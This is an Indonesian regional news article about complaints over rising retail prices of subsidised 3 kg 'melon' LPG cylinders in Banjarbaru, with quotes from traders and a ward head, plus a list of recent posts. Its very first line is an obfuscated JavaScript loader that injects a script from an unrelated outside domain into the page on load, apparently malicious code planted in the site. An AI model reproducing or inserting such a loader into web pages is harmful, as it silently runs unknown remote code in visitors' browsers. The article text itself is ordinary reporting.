(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pedagang Kecil Teriak, Harga Eceren Melon di Banjarbaru Kembali Naik


KANALKALIMANTAN.COM, BANJARBARU – Saat ini, tabung LPG 3 kilogram bersubsidi yang akrab disebut tabung ‘gas melon’ harganya melonjak naik.

Gas khusus bagi warga miskin itu, saat ini di Kota Banjarbaru di tingkat pengecer kembali dikeluhkan oleh warga, lantaran harganya sudah mencapai harga Rp 30-37 ribu per tabung.

“Harga eceran di warung bisa mencapai 30 ribu kebatas, kalau di pangkalan paling 20 ribu pertabung, akan tetapi kalau di pangkalan hanya bisa satu tabung perorangnya, sedangkan kami para pedagang memerlukan lebih dari satu tabung dalam berjualan,” kata Hamdah, penjual lauk-pauk di Kelurahan Loktabat Utaran kepada Kanalkalimantan.com, Rabu (8/9/2021).

Menurutnya pada masa pandemi ini para pedagang sangat terbebani dengan adanya harga eceran di atas wajar, dia mengatakan kalau harga di bawah 30 ribu masih bisa dijangkau oleh para pedagang.

 

 

Baca juga: Perpanjangan PPKM Level 4 di Kalsel Indikasi Inkonsistensi Pemerintah Pusat

Di tempat lain, salah seorang warga di Kelurahan Bangkal juga mengeluhkan harga eceran yang sangat mahal tersebut.

“Kalau saya pernah mendapatkan harga 37 per tabungnya di salah satu warung,” kata Hapsah.

Dia juga menambahkan bahwa dalam di kampungnya jumlah gas melon yang masuk tidak berimbang dengan jumlah warga yang ada di kelurahan.

“Kami melalui kelurahan sudah mengirim permohonan kepada pemerintah kota untuk menambah pasokan gas melon ke kelurahan kami,” tutupnya.

Kepada Kanalkalimantan.com, Lurah Loktabat Utara, M Fuad Rachman menuturkan untuk pengawasan pendistribusian atau harga jual di tingkat eceran bukan wewenang dari pihak kelurahan. Akan tetapi dari dinas yang terkait.

“Kelurahan tidak ada wewenang untuk pengawasan tersebut, apabila ada kenaikan harga gas di eceran itu bisa dikoordinasikan dengan dinas terkait untuk melakukan penertiban di lapangan,” ujarnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

15 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

18 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

18 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

20 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

22 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

23 jam ago

This website uses cookies.